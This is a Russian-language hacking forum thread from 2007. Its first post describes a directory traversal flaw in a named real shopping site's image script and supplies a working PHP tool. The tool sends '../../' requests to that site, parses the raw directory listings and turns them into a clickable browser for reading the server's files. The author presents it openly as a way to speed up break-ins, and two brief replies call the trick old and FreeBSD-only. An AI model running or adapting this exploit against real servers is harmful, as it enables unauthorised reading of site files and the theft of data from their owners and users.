Файловая инъекция + автоматизация процесса

Discussion in 'Уязвимости' started by BestOFtheBest, 22 Dec 2007.

Thread Status:
Not open for further replies.
  1. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Файловая инъекция представляет собой возможность для взломщика просматривать файлы на удалённом сервере. Проверяя параметры, предаваемые include и mysql_query, программисты очень часто забывают о функции fopen. Чаще всего это встречается в выводе изображений.

    Не люблю много теории, перейдём сразу к практике. Возьмём подопытный сайт, http://www.autoall.ru/. Инъекция на лицо, в свойствах изображений товаров написан путь к картинке: http://www.autoall.ru/group/picture.php?pic=112067.JPG. Подставив в параметр "pic" текст "../../" мы увидим в жутко корявом виде содержимое корневого каталога. Подобную картину большенство веб-хакеров наблюдало, когда в r57shell'е вместо имени файла ставили адрес к директории. Такой эффект можно лицезреть только на *nix машинах. Вот именно для этих вот глючных символов я и буду писать парсер, чтобы автоматизировать процес лазания по взламываемому хосту.

    Для начала определимся с языком. Я обажаю пхп, за скорость написания на нём приложений, нет траблов с операционкой, с типами данных, и т.д. Для начала сохраним страницу из браузера, и пихнём в hex-редактор. Можно было конечно поискать в инете правила этих записей, но это было бы не интересно. Первая закономерность, которую я заметил, это то, что имя каждого файла или папки заканчивается на символ с кодом 00. Вторая, это то, что перед именами папок, за символ до, стоит 04, а у файлов 08. Таким образом, пользуясь только этими данными я написал вот это парсер. Он глюкавый, требует переработок, но во всяком случае рабочий.
    PHP:
    <?php
    $fol
    ="../../";
    if(
    $fnewname<>""){$fol=$fnewname."/";}
    if(
    $fileopen<>""){$fol.=$fileopen;}
    $host="www.autoall.ru";
    $content="";
    $fp =fsockopen($host80$errno$errstr30);
    if(!
    $fp){echo "$errstr ($errno)<br>\n";}else{
    fputs ($fp"GET /group/picture.php?pic=".$fol." HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
    while (!
    feof($fp)) {$content.=fgets($fp,128);}
    fclose ($fp);}
    $content=strstr($content,"\r\n\r\n");
    if(
    $fileopen<>""){
    print 
    "<pre>".htmlspecialchars($content)."</pre>";
    }
    else
    {
    for(
    $i=0;$i<strlen($content);$i++)
    {
      if(
    ord($content[$i])==4)
      {
        
    $tempname="";
        for(
    $j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
        
    $folder[]=$tempname;
        
    $i=$i+strlen($tempname);
      }
      if(
    ord($content[$i])==8)
      {
        
    $tempname="";
        for(
    $j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
        
    $files[]=$tempname;
        
    $i=$i+strlen($tempname);
      }

    }
    print 
    "<table>";
    for(
    $i=0;$i<count($folder);$i++)
    {
    print 
    "<tr>";
    print 
    "<td><a href=1.php?fnewname=".$fol.$folder[$i]."><img border=0 src=fol.jpg></a></td>
    <td><a href=1.php?fnewname="
    .$fol.$folder[$i]."><font>".$folder[$i]."</font></a></td>";
    print 
    "</tr>";
    }
    for(
    $i=0;$i<count($files);$i++)
    {
    print 
    "<tr>";
    print 
    "<td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><img border=0 src=file.jpg></a></td>
    <td><a href=1.php?fileopen="
    .$files[$i]."&fnewname=".$fol."><font>".$files[$i]."</font></a></td>";
    print 
    "</tr>";
    }
    print 
    "</table>";
    }
    ?>
    Автоматизация ускоряет взлом в несколько раз. Для sql-инъекций я наблюдал кучу софта, а для файловых не нашёл ни одной проги. Поэтому и создал эту тему.
     
    #1 BestOFtheBest, 22 Dec 2007
    Last edited: 22 Dec 2007
    2 people like this.
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    боян, работает только на freebsd
    вот почитай:
    http://forum.antichat.ru/thread55237.html
     
  3. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Да, согласен, я просто не нашёл твой пост, перед написанием своего.
     
Thread Status:
Not open for further replies.